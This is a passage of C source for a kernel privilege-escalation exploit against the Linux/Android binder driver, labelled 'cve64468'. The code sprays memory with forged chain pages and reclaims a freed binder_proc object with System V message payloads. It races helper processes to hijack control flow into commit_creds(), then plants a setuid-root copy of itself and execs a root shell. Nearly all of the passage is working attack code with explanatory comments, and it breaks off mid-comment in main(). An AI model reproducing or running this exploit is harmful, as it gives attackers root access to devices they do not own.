static int stage_spray_chain(void)
{
	size_t want = available_bytes() / 100U * cfg_spray_percent;
	unsigned char template[CHAIN_PAGE];
	size_t at;

	if (!want) {
		note("cannot size the spray from /proc/meminfo");
		return -1;
	}
	physmap_spray = mmap(NULL, want, PROT_READ | PROT_WRITE,
			     MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
	if (physmap_spray == MAP_FAILED) {
		physmap_spray = NULL;
		note("spray of %zu bytes failed: %s", want, strerror(errno));
		return -1;
	}
	physmap_spray_bytes = want;

	build_chain_page(template, physmap_base + call_offset, kernel_base);
	for (at = 0; at + CHAIN_PAGE <= want; at += CHAIN_PAGE)
		memcpy((unsigned char *)physmap_spray + at, template, CHAIN_PAGE);

	note("sprayed %zu MiB of chain pages across the direct map",
	     want >> 20);
	return 0;
}

/* ------------------------------------------------------------------------ */
/* reclaim pump: System V messages                                           */
/* ------------------------------------------------------------------------ */

/*
 * struct msg_msg is 48 bytes of header followed by the payload, so a 976-byte
 * message is a 1024-byte allocation, exactly where binder_proc lives, and
 * payload index N corresponds to binder_proc offset N + 48.
 */
#define MSG_HEADER 48U
#define MSG_PAYLOAD 976U
#define MSG_INDEX(proc_offset) ((proc_offset) - MSG_HEADER)
#define MSG_QUEUES 64U
#define MSG_PER_QUEUE 12U

struct spray_message {
	long mtype;
	unsigned char mtext[MSG_PAYLOAD];
};

static int msg_queues[MSG_QUEUES];
static struct spray_message msg_template;

static void build_msg_template(void)
{
	uint32_t txns = 1;
	unsigned char *body = msg_template.mtext;
	uint64_t target = physmap_base + call_offset + CHAIN_ENTRY1 + 24U;

	msg_template.mtype = 1;
	memset(body, 0x5a, MSG_PAYLOAD);

	/* One outstanding transaction, so the walker's decrement reaches zero. */
	memcpy(body + MSG_INDEX(PROC_OUTSTANDING_TXNS), &txns, sizeof(txns));
	/*
	 * freeze_wait is a wait_queue_head: {spinlock lock; list_head head}.
	 * The lock has to read as unlocked or __wake_up spins forever, and
	 * head.next has to land on entry1's list_head so that
	 * curr = head.next - 24 is entry1 itself.
	 */
	memset(body + MSG_INDEX(PROC_FREEZE_WAIT), 0, 24);
	memcpy(body + MSG_INDEX(PROC_FREEZE_WAIT) + 8, &target, sizeof(target));
	memcpy(body + MSG_INDEX(PROC_FREEZE_WAIT) + 16, &target, sizeof(target));
	memset(body + MSG_INDEX(PROC_INNER_LOCK), 0, 4);
	body[MSG_INDEX(PROC_IS_FROZEN)] = 1;
}

static int msg_pump_init(void)
{
	unsigned int index;
	int made = 0;

	for (index = 0; index < MSG_QUEUES; index++) {
		msg_queues[index] = msgget(IPC_PRIVATE, IPC_CREAT | 0600);
		if (msg_queues[index] >= 0)
			made++;
	}
	return made;
}

static void msg_pump_destroy(void)
{
	unsigned int index;

	for (index = 0; index < MSG_QUEUES; index++) {
		if (msg_queues[index] >= 0)
			(void)msgctl(msg_queues[index], IPC_RMID, NULL);
		msg_queues[index] = -1;
	}
}

/*
 * Neither the moment of the kfree nor the moment the walker touches the object
 * is observable from userspace, so rather than trying to time a burst the spray
 * runs as a pump: it keeps a rolling set of live messages and allocates and
 * frees continuously, from the CPU that ran the deferred release, for as long
 * as the walkers are still running.  Every msgsnd is one chance for the freed
 * slot to be taken by memory we control.
 */
static void msg_pump(volatile unsigned int *done_counter, unsigned int target)
{
	unsigned int queue = 0;
	unsigned int depth[MSG_QUEUES] = { 0 };
	unsigned int rounds = 0;

	for (;;) {
		if (msg_queues[queue] >= 0) {
			if (depth[queue] >= MSG_PER_QUEUE) {
				struct spray_message got;

				if (msgrcv(msg_queues[queue], &got, MSG_PAYLOAD,
					   0, IPC_NOWAIT) >= 0)
					depth[queue]--;
			}
			if (msgsnd(msg_queues[queue], &msg_template, MSG_PAYLOAD,
				   IPC_NOWAIT) == 0)
				depth[queue]++;
		}
		queue = (queue + 1) % MSG_QUEUES;

		if (!(++rounds & 0x3fU) && done_counter &&
		    __atomic_load_n(done_counter, __ATOMIC_ACQUIRE) >= target)
			break;
		if (rounds > 4000000U)
			break;
	}
}

static void msg_pump_drain(void)
{
	unsigned int index;

	for (index = 0; index < MSG_QUEUES; index++) {
		struct spray_message got;

		if (msg_queues[index] < 0)
			continue;
		while (msgrcv(msg_queues[index], &got, MSG_PAYLOAD, 0,
			      IPC_NOWAIT) >= 0)
			;
	}
}

/* ------------------------------------------------------------------------ */
/* binder plumbing                                                           */
/* ------------------------------------------------------------------------ */

static int open_endpoint(struct endpoint *endpoint)
{
	endpoint->fd = open("/dev/binder", O_RDWR | O_CLOEXEC);
	if (endpoint->fd < 0)
		return -1;
	endpoint->mapping = mmap(NULL, BINDER_MAP_SIZE, PROT_READ, MAP_PRIVATE,
				 endpoint->fd, 0);
	if (endpoint->mapping == MAP_FAILED) {
		(void)close(endpoint->fd);
		endpoint->fd = -1;
		return -1;
	}
	return 0;
}

static int write_transaction(int fd, uint32_t handle, uint32_t code,
			     uint32_t flags, const void *data, size_t data_size,
			     const binder_size_t *offsets, size_t offsets_size)
{
	struct {
		uint32_t command;
		struct binder_transaction_data transaction;
	} __attribute__((packed)) packet;
	struct binder_write_read bwr;

	memset(&packet, 0, sizeof(packet));
	packet.command = BC_TRANSACTION;
	packet.transaction.target.handle = handle;
	packet.transaction.code = code;
	packet.transaction.flags = flags;
	packet.transaction.data_size = data_size;
	packet.transaction.offsets_size = offsets_size;
	packet.transaction.data.ptr.buffer = (binder_uintptr_t)(uintptr_t)data;
	packet.transaction.data.ptr.offsets = (binder_uintptr_t)(uintptr_t)offsets;
	memset(&bwr, 0, sizeof(bwr));
	bwr.write_size = sizeof(packet);
	bwr.write_buffer = (binder_uintptr_t)(uintptr_t)&packet;
	if (ioctl(fd, BINDER_WRITE_READ, &bwr) < 0)
		return -1;
	return bwr.write_consumed == sizeof(packet) ? 0 : -1;
}

static int handle_command(int fd, uint32_t command, uint32_t handle)
{
	struct {
		uint32_t command;
		uint32_t handle;
	} __attribute__((packed)) packet;
	struct binder_write_read bwr;

	packet.command = command;
	packet.handle = handle;
	memset(&bwr, 0, sizeof(bwr));
	bwr.write_size = sizeof(packet);
	bwr.write_buffer = (binder_uintptr_t)(uintptr_t)&packet;
	if (ioctl(fd, BINDER_WRITE_READ, &bwr) < 0)
		return -1;
	return bwr.write_consumed == sizeof(packet) ? 0 : -1;
}

static int free_buffer(int fd, binder_uintptr_t user_buffer)
{
	struct {
		uint32_t command;
		binder_uintptr_t buffer;
	} __attribute__((packed)) packet;
	struct binder_write_read bwr;

	packet.command = BC_FREE_BUFFER;
	packet.buffer = user_buffer;
	memset(&bwr, 0, sizeof(bwr));
	bwr.write_size = sizeof(packet);
	bwr.write_buffer = (binder_uintptr_t)(uintptr_t)&packet;
	if (ioctl(fd, BINDER_WRITE_READ, &bwr) < 0)
		return -1;
	return bwr.write_consumed == sizeof(packet) ? 0 : -1;
}

/*
 * A thread only receives work queued on proc->todo once it is flagged as a
 * looper, so the walker workers deliberately stay unflagged and cannot steal
 * the broker messages aimed at their main thread.
 */
static int enter_looper(int fd)
{
	uint32_t command = BC_ENTER_LOOPER;
	struct binder_write_read bwr;

	memset(&bwr, 0, sizeof(bwr));
	bwr.write_size = sizeof(command);
	bwr.write_buffer = (binder_uintptr_t)(uintptr_t)&command;
	if (ioctl(fd, BINDER_WRITE_READ, &bwr) < 0)
		return -1;
	return bwr.write_consumed == sizeof(command) ? 0 : -1;
}

static ssize_t return_payload_size(uint32_t command)
{
	switch (command) {
	case BR_ERROR:
	case BR_ACQUIRE_RESULT:
		return (ssize_t)sizeof(uint32_t);
	case BR_TRANSACTION:
	case BR_REPLY:
		return (ssize_t)sizeof(struct binder_transaction_data);
	case BR_TRANSACTION_SEC_CTX:
		return (ssize_t)sizeof(struct binder_transaction_data_secctx);
	case BR_INCREFS:
	case BR_ACQUIRE:
	case BR_RELEASE:
	case BR_DECREFS:
		return (ssize_t)(2 * sizeof(binder_uintptr_t));
	case BR_DEAD_BINDER:
	case BR_CLEAR_DEATH_NOTIFICATION_DONE:
		return (ssize_t)sizeof(binder_uintptr_t);
	case BR_OK:
	case BR_NOOP:
	case BR_TRANSACTION_COMPLETE:
	case BR_SPAWN_LOOPER:
	case BR_DEAD_REPLY:
	case BR_FAILED_REPLY:
	case BR_FROZEN_REPLY:
	case BR_TRANSACTION_PENDING_FROZEN:
	case BR_ONEWAY_SPAM_SUSPECT:
		return 0;
	default:
		return -1;
	}
}

static int read_transaction(int fd, uint32_t expected_code,
			    struct binder_transaction_data *transaction,
			    unsigned int attempts)
{
	unsigned char buffer[8192];
	unsigned int round;

	for (round = 0; round < attempts; round++) {
		struct binder_write_read bwr;
		size_t offset = 0;

		memset(&bwr, 0, sizeof(bwr));
		bwr.read_size = sizeof(buffer);
		bwr.read_buffer = (binder_uintptr_t)(uintptr_t)buffer;
		if (ioctl(fd, BINDER_WRITE_READ, &bwr) < 0) {
			if (errno == EINTR)
				continue;
			return -1;
		}
		while (offset + sizeof(uint32_t) <= bwr.read_consumed) {
			uint32_t command;
			ssize_t payload;

			memcpy(&command, buffer + offset, sizeof(command));
			offset += sizeof(command);
			payload = return_payload_size(command);
			if (payload < 0)
				return -1;
			if (offset + (size_t)payload > bwr.read_consumed)
				return -1;
			if (command == BR_TRANSACTION) {
				memcpy(transaction, buffer + offset,
				       sizeof(*transaction));
				if (transaction->code == expected_code)
					return 0;
			}
			offset += (size_t)payload;
		}
	}
	return -2;
}

/*
 * binder_thread_read() sleeps unless there is work, and asking for it with
 * O_NONBLOCK makes binder_ioctl() log every -EAGAIN, so poll first and only
 * read when something is actually queued.
 */
static void drain_endpoint(int fd)
{
	unsigned char buffer[8192];
	struct pollfd pollfd = { .fd = fd, .events = POLLIN };
	unsigned int round;

	for (round = 0; round < 8U; round++) {
		struct binder_write_read bwr;
		size_t offset = 0;

		if (poll(&pollfd, 1, 0) <= 0)
			break;
		memset(&bwr, 0, sizeof(bwr));
		bwr.read_size = sizeof(buffer);
		bwr.read_buffer = (binder_uintptr_t)(uintptr_t)buffer;
		if (ioctl(fd, BINDER_WRITE_READ, &bwr) < 0)
			break;
		if (!bwr.read_consumed)
			break;
		while (offset + sizeof(uint32_t) <= bwr.read_consumed) {
			uint32_t command;
			ssize_t payload;

			memcpy(&command, buffer + offset, sizeof(command));
			offset += sizeof(command);
			payload = return_payload_size(command);
			if (payload < 0)
				break;
			offset += (size_t)payload;
		}
	}
}

static void send_status(int fd, char status)
{
	ssize_t written = write(fd, &status, 1);

	(void)written;
}

static int read_status(int fd, char *status)
{
	return read(fd, status, 1) == 1 ? 0 : -1;
}

/* ------------------------------------------------------------------------ */
/* round handoff                                                             */
/* ------------------------------------------------------------------------ */

/*
 * This blocks rather than spins: there are more harness threads than CPUs, so
 * yield loops would starve the binder work itself.
 */
struct round {
	pthread_mutex_t lock;
	pthread_cond_t change;
	unsigned int generation;
	unsigned int finished;
	unsigned int quit;
};

static void round_init(struct round *round)
{
	(void)pthread_mutex_init(&round->lock, NULL);
	(void)pthread_cond_init(&round->change, NULL);
	round->generation = 0;
	round->finished = 0;
	round->quit = 0;
}

static void round_start(struct round *round)
{
	(void)pthread_mutex_lock(&round->lock);
	round->finished = 0;
	round->generation++;
	(void)pthread_cond_broadcast(&round->change);
	(void)pthread_mutex_unlock(&round->lock);
}

static void round_stop(struct round *round)
{
	(void)pthread_mutex_lock(&round->lock);
	round->quit = 1;
	round->generation++;
	(void)pthread_cond_broadcast(&round->change);
	(void)pthread_mutex_unlock(&round->lock);
}

static int round_wait(struct round *round, unsigned int *seen)
{
	(void)pthread_mutex_lock(&round->lock);
	while (round->generation == *seen && !round->quit)
		(void)pthread_cond_wait(&round->change, &round->lock);
	*seen = round->generation;
	if (round->quit) {
		(void)pthread_mutex_unlock(&round->lock);
		return -1;
	}
	(void)pthread_mutex_unlock(&round->lock);
	return 0;
}

static void round_finish(struct round *round)
{
	(void)pthread_mutex_lock(&round->lock);
	round->finished++;
	(void)pthread_cond_broadcast(&round->change);
	(void)pthread_mutex_unlock(&round->lock);
}

static void round_join(struct round *round, unsigned int target)
{
	(void)pthread_mutex_lock(&round->lock);
	while (round->finished < target && !round->quit)
		(void)pthread_cond_wait(&round->change, &round->lock);
	(void)pthread_mutex_unlock(&round->lock);
}

/* ------------------------------------------------------------------------ */
/* stage 5: what the rooted thread does                                      */
/* ------------------------------------------------------------------------ */

/*
 * Everything the winning thread does, it does while carrying the forged cred,
 * so this is kept as short as it can possibly be: two syscalls.
 *
 * The temptation is to call setresuid(0,0,0) here and get a clean,
 * kernel-allocated cred straight away.  That is the wrong order.  setresuid
 * goes through prepare_creds() and commit_creds() on a task whose current cred
 * is a forged object sitting in a page of ordinary user memory, and any mistake
 * anywhere in that layout is a kernel fault rather than an error code.
 *
 * chown() and chmod() need CAP_CHOWN and CAP_FOWNER, which the forged cred has,
 * and neither allocates or replaces a cred.  So the winning thread only
 * relabels a copy of this binary that the parent laid down before the race
 * started, and the setuid bit then makes the *kernel* build the root identity
 * during a perfectly ordinary execve.  chown() first: it strips setuid bits, so
 * doing it the other way round would undo the chmod.
 */
static int cash_in(void)
{
	if (chown(helper_path, 0, 0) < 0)
		return -1;
	if (chmod(helper_path, 04755) < 0)
		return -2;
	return 0;
}

/* Laid down by the parent, before the race, as an ordinary unprivileged file. */
static int stage_helper(void)
{
	unsigned char buffer[65536];
	int in;
	int out;
	ssize_t got;

	in = open("/proc/self/exe", O_RDONLY | O_CLOEXEC);
	if (in < 0)
		return -1;
	(void)unlink(helper_path);
	out = open(helper_path, O_WRONLY | O_CREAT | O_EXCL, 0700);
	if (out < 0) {
		(void)close(in);
		return -1;
	}
	while ((got = read(in, buffer, sizeof(buffer))) > 0) {
		ssize_t at = 0;

		while (at < got) {
			ssize_t written = write(out, buffer + at,
						(size_t)(got - at));

			if (written <= 0) {
				(void)close(in);
				(void)close(out);
				return -1;
			}
			at += written;
		}
	}
	(void)close(in);
	(void)close(out);
	return got < 0 ? -1 : 0;
}

/* Entry point when re-executed through the setuid-root copy. */
static void become_root_shell(void)
{
	const char *shell = getenv("CVE64468_SHELL");
	char self[PATH_MAX];
	ssize_t length;

	/*
	 * Leave nothing setuid behind.  /proc/self/exe is a symlink, so
	 * unlinking it would remove nothing; resolve it to the real path first.
	 * The inode stays alive for this process, so the exec below is safe.
	 */
	length = readlink("/proc/self/exe", self, sizeof(self) - 1);
	if (length > 0) {
		self[length] = '\0';
		(void)unlink(self);
	}
	if (setresgid(0, 0, 0) < 0 || setresuid(0, 0, 0) < 0) {
		perror("setresuid");
		_exit(1);
	}
	(void)setgroups(0, NULL);
	printf("[+] uid=%u euid=%u gid=%u egid=%u\n", getuid(), geteuid(),
	       getgid(), getegid());
	fflush(stdout);
	if (!shell || !*shell)
		shell = "/bin/sh";
	execl(shell, shell, NULL);
	perror("execl");
	_exit(1);
}

/* ------------------------------------------------------------------------ */
/* manager: context manager and handle broker                                */
/* ------------------------------------------------------------------------ */

static void manager_process(int status_fd, int control_fd)
{
	struct binder_transaction_data transaction;
	struct flat_binder_object object;
	binder_size_t object_offset = 0;
	struct endpoint endpoint;
	uint32_t walker_handle = 0;
	uint32_t victim_handle = 0;
	uint32_t previous_victim_handle = 0;
	int have_walker = 0;
	int manager = 0;
	char command;

	set_task_name("cve64468-M");
	if (pin_to_cpu(cfg_cpus - 1U) < 0) {
		send_status(status_fd, 'F');
		_exit(1);
	}
	if (open_endpoint(&endpoint) < 0) {
		send_status(status_fd, 'O');
		_exit(1);
	}
	if (ioctl(endpoint.fd, BINDER_SET_CONTEXT_MGR, &manager) < 0) {
		send_status(status_fd, 'M');
		_exit(1);
	}
	if (enter_looper(endpoint.fd) < 0) {
		send_status(status_fd, 'L');
		_exit(1);
	}
	send_status(status_fd, 'R');

	for (;;) {
		if (read_status(control_fd, &command) < 0 || command == 'q')
			_exit(0);

		/* The walker registers once; the victim registers per attempt. */
		if (!have_walker) {
			if (read_transaction(endpoint.fd, CODE_REGISTER_B,
					     &transaction, 4096U) < 0) {
				send_status(status_fd, 'b');
				_exit(2);
			}
			memcpy(&object,
			       (void *)(uintptr_t)transaction.data.ptr.buffer,
			       sizeof(object));
			if (object.hdr.type != BINDER_TYPE_HANDLE) {
				send_status(status_fd, 'h');
				_exit(2);
			}
			walker_handle = object.handle;
			if (handle_command(endpoint.fd, BC_ACQUIRE,
					   walker_handle) < 0 ||
			    free_buffer(endpoint.fd,
					transaction.data.ptr.buffer) < 0) {
				send_status(status_fd, 'a');
				_exit(2);
			}
			have_walker = 1;
		}

		if (read_transaction(endpoint.fd, CODE_REGISTER_P, &transaction,
				     4096U) < 0) {
			send_status(status_fd, 'p');
			_exit(2);
		}
		memcpy(&object, (void *)(uintptr_t)transaction.data.ptr.buffer,
		       sizeof(object));
		if (object.hdr.type != BINDER_TYPE_HANDLE) {
			send_status(status_fd, 'h');
			_exit(2);
		}
		victim_handle = object.handle;
		if (handle_command(endpoint.fd, BC_ACQUIRE, victim_handle) < 0 ||
		    free_buffer(endpoint.fd, transaction.data.ptr.buffer) < 0) {
			send_status(status_fd, 'a');
			_exit(2);
		}

		memset(&object, 0, sizeof(object));
		object.hdr.type = BINDER_TYPE_HANDLE;
		object.handle = victim_handle;
		if (write_transaction(endpoint.fd, walker_handle, CODE_SEND_P,
				      TF_ONE_WAY, &object, sizeof(object),
				      &object_offset, sizeof(object_offset)) < 0) {
			send_status(status_fd, 'w');
			_exit(2);
		}
		memset(&object, 0, sizeof(object));
		object.hdr.type = BINDER_TYPE_HANDLE;
		object.handle = walker_handle;
		if (write_transaction(endpoint.fd, victim_handle, CODE_SEND_B,
				      TF_ONE_WAY, &object, sizeof(object),
				      &object_offset, sizeof(object_offset)) < 0) {
			send_status(status_fd, 'w');
			_exit(2);
		}
		if (previous_victim_handle)
			(void)handle_command(endpoint.fd, BC_RELEASE,
					     previous_victim_handle);
		previous_victim_handle = victim_handle;
		drain_endpoint(endpoint.fd);
		send_status(status_fd, 's');
	}
}

/* ------------------------------------------------------------------------ */
/* walker (B): owns the transaction stacks that get walked                   */
/* ------------------------------------------------------------------------ */

struct walker_state {
	int fd;
	uint32_t victim_handle;
	struct round round;
};

static struct walker_state walker;

static void *walker_thread(void *opaque)
{
	unsigned int index = (unsigned int)(uintptr_t)opaque;
	unsigned int seen = 0;

	set_task_name("cve64468-B");
	if (cfg_cpus > cfg_b_cpu_base)
		(void)pin_to_cpu(cfg_b_cpu_base +
				 index % (cfg_cpus - cfg_b_cpu_base));

	for (;;) {
		struct binder_transaction_data transaction;
		int armed = 0;

		if (round_wait(&walker.round, &seen) < 0)
			return NULL;

		/*
		 * e2: B -> P, the transaction whose to_proc is snapshotted.
		 * P answers with e1, which lands on this same thread because
		 * binder resolves the nested target from e2->from, giving the
		 * two-deep stack the walk needs.
		 */
		if (write_transaction(walker.fd, walker.victim_handle,
				      CODE_PARENT, 0, NULL, 0, NULL, 0) == 0 &&
		    read_transaction(walker.fd, CODE_CHILD, &transaction,
				     4096U) == 0) {
			(void)free_buffer(walker.fd,
					  transaction.data.ptr.buffer);
			armed = 1;
		} else {
			__atomic_fetch_add(&ctl->setup_failures, 1U,
					   __ATOMIC_RELAXED);
		}

		__atomic_fetch_add(&ctl->b_armed, 1U, __ATOMIC_RELEASE);
		while (!__atomic_load_n(&ctl->go, __ATOMIC_ACQUIRE)) {
			if (__atomic_load_n(&ctl->quit, __ATOMIC_RELAXED))
				return NULL;
			cpu_relax_hint();
		}
		busy_wait_us(__atomic_load_n(&ctl->b_delay_us, __ATOMIC_RELAXED) +
			     index * cfg_stagger_us);
		if (armed) {
			(void)ioctl(walker.fd, BINDER_THREAD_EXIT, 0);
			__atomic_fetch_add(&ctl->walked, 1U, __ATOMIC_RELAXED);
			/*
			 * If the chain ran, commit_creds() installed the forged
			 * cred on this thread and __wake_up_common broke out
			 * cleanly, so the ioctl returned normally and we are
			 * simply back here - as root.
			 */
			if (getuid() == 0 &&
			    !__atomic_exchange_n(&ctl->rooted, 1U,
						 __ATOMIC_ACQ_REL)) {
				int cashed;

				if (!cfg_quiet) {
					printf("\n[+] control flow hijacked; commit_creds() ran on thread %u\n",
					       index);
					fflush(stdout);
				}
				cashed = cash_in();
				if (!cfg_quiet) {
					printf("[*] relabelling the helper: %s\n",
					       cashed == 0 ? "done" :
					       cashed == -1 ? "chown failed" :
							      "chmod failed");
					fflush(stdout);
				}
				if (cashed == 0)
					__atomic_store_n(&ctl->helper_ready, 1U,
							 __ATOMIC_RELEASE);
			}
		}
		__atomic_fetch_add(&ctl->b_done, 1U, __ATOMIC_RELEASE);
		round_finish(&walker.round);
	}
}

static void walker_process(int status_fd, int control_fd)
{
	struct binder_transaction_data transaction;
	struct flat_binder_object object;
	binder_size_t object_offset = 0;
	struct endpoint endpoint;
	pthread_t threads[MAX_THREADS];
	unsigned int index;
	uint32_t previous_handle = 0;
	char command;

	set_task_name("cve64468-B");
	if (open_endpoint(&endpoint) < 0) {
		send_status(status_fd, 'O');
		_exit(1);
	}
	walker.fd = endpoint.fd;
	round_init(&walker.round);
	if (enter_looper(endpoint.fd) < 0) {
		send_status(status_fd, 'L');
		_exit(1);
	}

	memset(&object, 0, sizeof(object));
	object.hdr.type = BINDER_TYPE_BINDER;
	object.flags = FLAT_BINDER_FLAG_ACCEPTS_FDS;
	object.binder = 0x4242424200000001ULL;
	object.cookie = 0x4242424200000002ULL;
	if (write_transaction(endpoint.fd, 0, CODE_REGISTER_B, TF_ONE_WAY,
			      &object, sizeof(object), &object_offset,
			      sizeof(object_offset)) < 0) {
		send_status(status_fd, 'w');
		_exit(1);
	}
	for (index = 0; index < cfg_threads; index++) {
		if (pthread_create(&threads[index], NULL, walker_thread,
				   (void *)(uintptr_t)index) != 0) {
			send_status(status_fd, 'T');
			_exit(1);
		}
	}
	send_status(status_fd, 'R');

	for (;;) {
		if (read_status(control_fd, &command) < 0 || command == 'q') {
			__atomic_store_n(&ctl->quit, 1U, __ATOMIC_RELEASE);
			round_stop(&walker.round);
			for (index = 0; index < cfg_threads; index++)
				(void)pthread_join(threads[index], NULL);
			_exit(0);
		}
		if (read_transaction(endpoint.fd, CODE_SEND_P, &transaction,
				     4096U) < 0) {
			send_status(status_fd, 'g');
			continue;
		}
		memcpy(&object, (void *)(uintptr_t)transaction.data.ptr.buffer,
		       sizeof(object));
		if (object.hdr.type != BINDER_TYPE_HANDLE) {
			send_status(status_fd, 'h');
			continue;
		}
		walker.victim_handle = object.handle;
		if (handle_command(endpoint.fd, BC_ACQUIRE,
				   walker.victim_handle) < 0 ||
		    free_buffer(endpoint.fd, transaction.data.ptr.buffer) < 0) {
			send_status(status_fd, 'a');
			continue;
		}

		round_start(&walker.round);
		send_status(status_fd, 's');
		round_join(&walker.round, cfg_threads);

		if (previous_handle)
			(void)handle_command(endpoint.fd, BC_RELEASE,
					     previous_handle);
		previous_handle = walker.victim_handle;
		drain_endpoint(endpoint.fd);
		send_status(status_fd, 'd');
	}
}

/* ------------------------------------------------------------------------ */
/* victim (P): its binder_proc is the object that must be freed              */
/* ------------------------------------------------------------------------ */

struct victim_state {
	int fd;
	uint32_t walker_handle;
	struct round round;
};

static struct victim_state victim;

static void *victim_thread(void *opaque)
{
	unsigned int index = (unsigned int)(uintptr_t)opaque;
	unsigned int seen = 0;
	char name[16];

	(void)snprintf(name, sizeof(name), "cve64468-Y%u", index % 100U);
	set_task_name(name);
	if (cfg_cpus > cfg_b_cpu_base)
		(void)pin_to_cpu(cfg_b_cpu_base +
				 index % (cfg_cpus - cfg_b_cpu_base));

	for (;;) {
		struct binder_transaction_data transaction;

		if (round_wait(&victim.round, &seen) < 0)
			return NULL;

		/*
		 * The binder_thread is new on every attempt because the victim
		 * reopens /dev/binder, so the looper flag has to be set again.
		 */
		if (enter_looper(victim.fd) < 0)
			__atomic_fetch_add(&ctl->setup_failures, 1U,
					   __ATOMIC_RELAXED);
		if (read_transaction(victim.fd, CODE_PARENT, &transaction,
				     4096U) == 0) {
			if (write_transaction(victim.fd, victim.walker_handle,
					      CODE_CHILD, 0, NULL, 0, NULL, 0) < 0)
				__atomic_fetch_add(&ctl->setup_failures, 1U,
						   __ATOMIC_RELAXED);
		} else {
			__atomic_fetch_add(&ctl->setup_failures, 1U,
					   __ATOMIC_RELAXED);
		}
		__atomic_fetch_add(&ctl->p_armed, 1U, __ATOMIC_RELEASE);
		round_finish(&victim.round);
	}
}

static void victim_process(int status_fd, int control_fd)
{
	struct binder_transaction_data transaction;
	struct flat_binder_object object;
	binder_size_t object_offset = 0;
	struct endpoint endpoint;
	pthread_t threads[MAX_THREADS];
	unsigned int index;
	char command;

	set_task_name("cve64468-P");
	if (pin_to_cpu(cfg_worker_cpu) < 0) {
		send_status(status_fd, 'F');
		_exit(1);
	}
	round_init(&victim.round);
	for (index = 0; index < cfg_threads; index++) {
		if (pthread_create(&threads[index], NULL, victim_thread,
				   (void *)(uintptr_t)index) != 0) {
			send_status(status_fd, 'T');
			_exit(1);
		}
	}
	send_status(status_fd, 'R');

	for (;;) {
		if (read_status(control_fd, &command) < 0 || command == 'q') {
			__atomic_store_n(&ctl->quit, 1U, __ATOMIC_RELEASE);
			round_stop(&victim.round);
			for (index = 0; index < cfg_threads; index++)
				(void)pthread_join(threads[index], NULL);
			_exit(0);
		}

		if (open_endpoint(&endpoint) < 0) {
			send_status(status_fd, 'O');
			continue;
		}
		victim.fd = endpoint.fd;
		if (enter_looper(endpoint.fd) < 0) {
			send_status(status_fd, 'L');
			goto drop;
		}

		memset(&object, 0, sizeof(object));
		object.hdr.type = BINDER_TYPE_BINDER;
		object.flags = FLAT_BINDER_FLAG_ACCEPTS_FDS;
		object.binder = 0x5050505000000001ULL;
		object.cookie = 0x5050505000000002ULL;
		if (write_transaction(endpoint.fd, 0, CODE_REGISTER_P,
				      TF_ONE_WAY, &object, sizeof(object),
				      &object_offset, sizeof(object_offset)) < 0) {
			send_status(status_fd, 'w');
			goto drop;
		}
		if (read_transaction(endpoint.fd, CODE_SEND_B, &transaction,
				     4096U) < 0) {
			send_status(status_fd, 'g');
			goto drop;
		}
		memcpy(&object, (void *)(uintptr_t)transaction.data.ptr.buffer,
		       sizeof(object));
		if (object.hdr.type != BINDER_TYPE_HANDLE) {
			send_status(status_fd, 'h');
			goto drop;
		}
		victim.walker_handle = object.handle;
		if (handle_command(endpoint.fd, BC_ACQUIRE,
				   victim.walker_handle) < 0 ||
		    free_buffer(endpoint.fd, transaction.data.ptr.buffer) < 0) {
			send_status(status_fd, 'a');
			goto drop;
		}

		round_start(&victim.round);
		send_status(status_fd, 's');
		round_join(&victim.round, cfg_threads);

		/*
		 * Drop the mapping while still setting up.  binder_vma_close()
		 * only clears alloc->vma; the delivered buffers survive, and it
		 * leaves close() as the single fast syscall that starts the
		 * deferred release.
		 */
		(void)munmap(endpoint.mapping, BINDER_MAP_SIZE);
		endpoint.mapping = NULL;

		while (!__atomic_load_n(&ctl->go, __ATOMIC_ACQUIRE)) {
			if (__atomic_load_n(&ctl->quit, __ATOMIC_RELAXED))
				_exit(0);
			cpu_relax_hint();
		}
		/*
		 * The mapping is already gone, so this drops the last struct
		 * file reference.  binder_release() then queues the deferred
		 * work on this CPU, which is where the release - and the kfree
		 * the pump is racing - runs.
		 */
		(void)close(endpoint.fd);
		victim.fd = -1;
		__atomic_store_n(&ctl->p_done, 1U, __ATOMIC_RELEASE);
		send_status(status_fd, 'd');
		continue;
drop:
		if (endpoint.mapping)
			(void)munmap(endpoint.mapping, BINDER_MAP_SIZE);
		(void)close(endpoint.fd);
	}
}

/* ------------------------------------------------------------------------ */

static pid_t spawn(void (*entry)(int, int), int *status_out, int *control_out)
{
	int status_pipe[2];
	int control_pipe[2];
	pid_t child;

	if (pipe(status_pipe) < 0)
		return -1;
	if (pipe(control_pipe) < 0) {
		(void)close(status_pipe[0]);
		(void)close(status_pipe[1]);
		return -1;
	}
	child = fork();
	if (child < 0) {
		(void)close(status_pipe[0]);
		(void)close(status_pipe[1]);
		(void)close(control_pipe[0]);
		(void)close(control_pipe[1]);
		return -1;
	}
	if (child == 0) {
		(void)close(status_pipe[0]);
		(void)close(control_pipe[1]);
		entry(status_pipe[1], control_pipe[0]);
		_exit(0);
	}
	(void)close(status_pipe[1]);
	(void)close(control_pipe[0]);
	*status_out = status_pipe[0];
	*control_out = control_pipe[1];
	return child;
}

static int wait_for_count(volatile unsigned int *counter, unsigned int target,
			  unsigned int timeout_ms)
{
	uint64_t deadline = monotonic_ns() + (uint64_t)timeout_ms * 1000000ULL;

	while (__atomic_load_n(counter, __ATOMIC_ACQUIRE) < target) {
		if (monotonic_ns() > deadline)
			return -1;
		/* Sleep rather than yield: the CPUs are oversubscribed. */
		(void)usleep(200);
	}
	return 0;
}

static void resolve_helper_path(const char *argv0)
{
	const char *slash = strrchr(argv0, '/');
	size_t length = slash ? (size_t)(slash - argv0 + 1) : 0;

	if (length && length + sizeof(SUID_HELPER) < sizeof(helper_path)) {
		memcpy(helper_path, argv0, length);
		(void)snprintf(helper_path + length,
			       sizeof(helper_path) - length, "%s", SUID_HELPER);
	} else {
		(void)snprintf(helper_path, sizeof(helper_path), "./%s",
			       SUID_HELPER);
	}
}

int main(int argc, char **argv)
{
	int manager_status = -1, manager_control = -1;
	int walker_status = -1, walker_control = -1;
	int victim_status = -1, victim_control = -1;
	unsigned int attempts = 0;
	double last_report;
	double start;
	char status = '?';
	long cpus;

	(void)argc;

	/* Re-executed through the setuid-root copy: this is the payoff. */
	if (geteuid() == 0 && getuid() != 0)
		become_root_shell();

	setvbuf(stdout, NULL, _IOLBF, 0);
	/*
	 * The helper processes talk over pipes, and a race this violent can take
	 * one of them down.  With the default disposition that turns into a
	 * SIGPIPE on the next status write and kills this process silently -
